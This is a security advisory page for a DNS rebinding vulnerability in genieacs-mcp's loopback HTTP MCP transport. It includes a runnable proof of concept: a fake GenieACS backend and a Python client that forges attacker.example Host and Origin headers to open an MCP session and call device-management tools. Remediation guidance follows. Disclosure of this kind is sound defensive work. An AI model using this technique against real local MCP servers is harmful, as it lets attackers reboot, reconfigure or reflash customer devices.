CVE-2026-55637: genieacs-mcp: DNS rebinding reaches local GenieACS MCP Streamable HTTP transport

Published Aug 25, 2026
·
Updated

genieacs-mcp exposes a local Streamable HTTP MCP endpoint that accepts attacker-controlled Host and Origin headers. A malicious web page can use DNS rebinding to route browser requests to a victim's loopback MCP listener while preserving the attacker origin. The server accepts the request, initializes an MCP session, lists GenieACS tools, and can invoke tools against the configured GenieACS NBI without a browser-supplied secret.

The affected package is genieacs-mcp version 0.3.1 at commit 4d7d3c74740efb7f3833aadc8a8e9177650eb462.

The vulnerable transport setup is in cmd/server/main.go. When TRANSPORT is not stdio, the server creates a Streamable HTTP MCP handler:

go // cmd/server/main.go:92 httpSrv := server.NewStreamableHTTPServer(s) addr := os.Getenv("MCPLISTENADDR") if addr == "" { addr = "127.0.0.1:8080" } authToken := os.Getenv("MCPAUTHTOKEN") if authToken == "" && !isLoopbackAddr(addr) { log.Fatal("MCPAUTHTOKEN is required when MCPLISTENADDR is not loopback") } if authToken != "" { mux := http.NewServeMux() mux.Handle("/mcp", bearerAuth(httpSrv, authToken)) log.Printf("GenieACS MCP bridge listening on %s (auth enabled)", addr) if err := http.ListenAndServe(addr, mux); err != nil { log.Fatalf("server error: %v", err) } } else { log.Printf("GenieACS MCP bridge listening on %s", addr) if err := httpSrv.Start(addr); err != nil { log.Fatalf("server error: %v", err) } }

For the default loopback listener, MCPAUTHTOKEN is not required. The unauthenticated branch calls httpSrv.Start(addr) directly. There is no middleware or MCP transport configuration that validates Host or Origin before /mcp handles the request.

The README documents loopback HTTP as the default deployment mode and says MCPAUTHTOKEN is required only when MCPLISTENADDR is non-loopback:

text TRANSPORT: empty = HTTP MCPLISTENADDR: 127.0.0.1:8080 MCPAUTHTOKEN: empty, required when MCPLISTENADDR is non-loopback

That leaves the browser-origin boundary as the missing control. DNS rebinding is designed to reach loopback listeners from a public web page unless the local server rejects attacker-controlled Host and Origin values.

Proof of concept

The following reproduction uses a fake GenieACS NBI with planted CPE data. It proves that attacker-shaped browser-origin headers reach the real MCP handler and that an MCP tool call reaches the configured GenieACS backend.

Start a fake GenieACS NBI:

bash python3 - <<'PY' from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer import json import urllib.parse

DEVICEID = "00236A-FAKE-CPE-PWNED"

class Handler(BaseHTTPRequestHandler): def json(self, value, status=200): data = json.dumps(value, indent=2).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(data))) self.endheaders() self.wfile.write(data)

def doGET(self): print("FAKEACSGET", self.path, dict(self.headers), flush=True) parsed = urllib.parse.urlparse(self.path) if parsed.path.rstrip("/") == "/devices": self.json([{ "id": DEVICEID, "tags": ["poc-owned"], "Device": { "DeviceInfo": { "SoftwareVersion": {"value": "PLANTED-FAKE-FIRMWARE-9.9.9"}, "SerialNumber": {"value": "PLUTO-FAKE-CPE-0001"} }, "ManagementServer": { "URL": {"value": "https://acs-control.example.invalid/cwmp"} } } }]) return self.json({"error": "not found"}, 404)

def logmessage(self, fmt, args): return

ThreadingHTTPServer(("127.0.0.1", 18083), Handler).serveforever() PY

In a second terminal, run the affected MCP server:

bash git clone https://github.com/GeiserX/genieacs-mcp.git cd genieacs-mcp git checkout 4d7d3c74740efb7f3833aadc8a8e9177650eb462

GOCACHE=/tmp/genieacsmcpgocache \ GOPATH=/tmp/genieacsmcpgopath \ go build -o /tmp/genieacs-mcp ./cmd/server

ACSURL=http://127.0.0.1:18083 \ MCPLISTENADDR=127.0.0.1:8083 \ /tmp/genieacs-mcp

In a third terminal, send MCP requests with forged browser-origin headers:

bash python3 - <<'PY' import http.client import json

PORT = 8083 PROTO = "2024-11-05" ATTACKERHOST = f"attacker.example:{PORT}"

def parserpc(text): text = (text or "").strip() if text.startswith("{") or text.startswith("["): return [json.loads(text)] out = [] for line in text.splitlines(): line = line.strip() if line.startswith("data:"): data = line[5:].strip() if data and data != "[DONE]": out.append(json.loads(data)) return out

sid = None

def rpc(body): global sid headers = { "Host": ATTACKERHOST, "Origin": "http://" + ATTACKERHOST, "Content-Type": "application/json", "Accept": "application/json, text/event-stream", } if sid: headers["Mcp-Session-Id"] = sid headers["MCP-Protocol-Version"] = PROTO conn = http.client.HTTPConnection("127.0.0.1", PORT, timeout=10) conn.request("POST", "/mcp", json.dumps(body), headers) res = conn.getresponse() rawheaders = dict(res.getheaders()) if rawheaders.get("Mcp-Session-Id"): sid = rawheaders["Mcp-Session-Id"] text = res.read().decode("utf-8", "replace") conn.close() return res.status, parserpc(text), text

initstatus, initmsgs, initraw = rpc({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": { "protocolVersion": PROTO, "capabilities": {}, "clientInfo": {"name": "genieacs-rebind-check", "version": "1"} } })

notifystatus, , = rpc({"jsonrpc": "2.0", "method": "notifications/initialized", "params": {}})

toolsstatus, toolsmsgs, toolsraw = rpc({ "jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {} })

callstatus, callmsgs, callraw = rpc({ "jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": { "name": "getparameter", "arguments": { "deviceid": "00236A-FAKE-CPE-PWNED", "parameterpath": "Device.DeviceInfo.SoftwareVersion,Device.ManagementServer.URL" } } })

print("initializestatus", initstatus) print("sessioncreated", bool(sid)) print("initializednotificationstatus", notifystatus) print("toolsliststatus", toolsstatus) print(toolsraw[:1200]) print("getparameterstatus", callstatus) print(callraw) PY

The MCP request uses attacker-controlled browser-origin headers and no Authorization header:

http POST /mcp HTTP/1.1 Host: attacker.example:8083 Origin: http://attacker.example:8083 Content-Type: application/json Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"genieacs-rebind-check","version":"1"}}}

Observed output:

text initializestatus 200 sessioncreated True initializednotificationstatus 202 toolsliststatus 200

tools/list returns 12 tools, including:

text connectionrequest deletetask downloadfirmware getparameter managepreset manageprovision rebootdevice refreshparameter retrytask searchdevices setparameter tagdevice

The getparameter tool call reaches the fake GenieACS NBI and returns the planted marker:

text Cached parameter values: [ { "id": "00236A-FAKE-CPE-PWNED", "tags": [ "poc-owned" ], "Device": { "DeviceInfo": { "SoftwareVersion": { "value": "PLANTED-FAKE-FIRMWARE-9.9.9" }, "SerialNumber": { "value": "PLUTO-FAKE-CPE-0001" } }, "ManagementServer": { "URL": { "value": "https://acs-control.example.invalid/cwmp" } } } } ]

The fake GenieACS NBI also records the backend request from the MCP server:

text FAKEACSGET /devices/?projection=Device.DeviceInfo.SoftwareVersion%2CDevice.ManagementServer.URL&query=%7B%22id%22%3A%2200236A-FAKE-CPE-PWNED%22%7D

Impact

A malicious website can control a victim's local genieacs-mcp HTTP server when the victim runs the documented default loopback HTTP mode. The page can initialize MCP, list available tools, and invoke GenieACS operations through the server's configured ACSURL.

In a real deployment, this can expose or modify CPE management state through GenieACS. The exposed tools include device reboot, firmware download task creation, TR-069 parameter changes, preset and provision management, tag changes, connection requests, task deletion, and task retry. Those actions execute with the MCP server's configured GenieACS access.

Why this is a vulnerability, not intended behavior

- The project treats loopback HTTP as a safety boundary. The README documents 127.0.0.1:8080 as the default HTTP listen address and requires MCPAUTHTOKEN only for non-loopback listeners. - DNS rebinding bypasses the loopback-only assumption unless the local HTTP server validates Host and Origin. - PR #22 added bearer authentication for non-loopback listeners. It explicitly left loopback listeners unauthenticated for compatibility. That protects direct non-loopback exposure, but it does not protect the browser-origin path into a loopback listener. - A local trusted MCP client is the intended caller. A public web page is not.

Remediation

Add Host and Origin validation before the MCP handler accepts any request. For the default loopback mode, allow only local values such as:

text Host: 127.0.0.1:8080 Host: localhost:8080 Origin: http://127.0.0.1:8080 Origin: http://localhost:8080

Reject unexpected Host or Origin values before MCP initialization. Treat absent or non-local Origin on browser-reachable requests as suspicious unless the request is authenticated.

Also require a bearer token for HTTP transport even on loopback, or make stdio the default transport and require an explicit opt-in for unauthenticated loopback HTTP.

Other sources

genieacs-mcp is an MCP server for GenieACS written in Go. Prior to 0.3.2, the Streamable HTTP transport in cmd/server/main.go creates an unauthenticated /mcp listener on the default MCPLISTENADDR value 127.0.0.1:8080 when MCPAUTHTOKEN is unset and the httpSrv.Start(addr) branch does not validate the Host or Origin headers. A malicious website can use DNS rebinding to send browser requests with attacker-controlled Host and Origin values to the loopback listener, initialize an MCP session, list tools, and invoke operations against the GenieACS NBI configured by ACSURL. Successful exploitation can expose or modify CPE management state, including device reboots, firmware tasks, TR-069 parameter changes, presets, provisions, tags, connection requests, and task operations. The npm wrapper is not affected because it forces TRANSPORT=stdio and does not expose an HTTP listener. This issue is fixed in version 0.3.2.

MITRE

Affected Software

2 affected componentsFixes available
genieacs-mcp<0.3.2
go/github.com/geiserx/genieacs-mcp<=0.3.1
0.3.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/geiserx/genieacs-mcp to a version that resolves this vulnerability.

    Fixed in 0.3.2
  2. Upgrade

    Upgrade genieacs-mcp to a version that resolves this vulnerability.

    Fixed in 0.3.2
  3. Configuration

    Add Host and Origin validation before the MCP handler accepts any request. Treat absent or non-local Origin on browser-reachable requests as suspicious unless the request is authenticated.

    genieacs-mcp (Go server cmd/server/main.go) Host validation / Origin validation for /mcp = Reject requests with absent or non-local Origin/Host unless authenticated
  4. Configuration

    Also require a bearer token for HTTP transport even on loopback, or use stdio by default and explicitly opt in to unauthenticated loopback HTTP.

    genieacs-mcp MCP_AUTH_TOKEN = Set a non-empty bearer token even for loopback HTTP (when TRANSPORT is not stdio)

Event History

Aug 25, 2026
CVE Published
via MITRE·06:03 PM
Data Sourced
via MITRE·06:03 PM
DescriptionWeakness
Advisory Published
via GitHub·06:05 PM
Data Sourced
via GitHub·06:05 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeakness

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203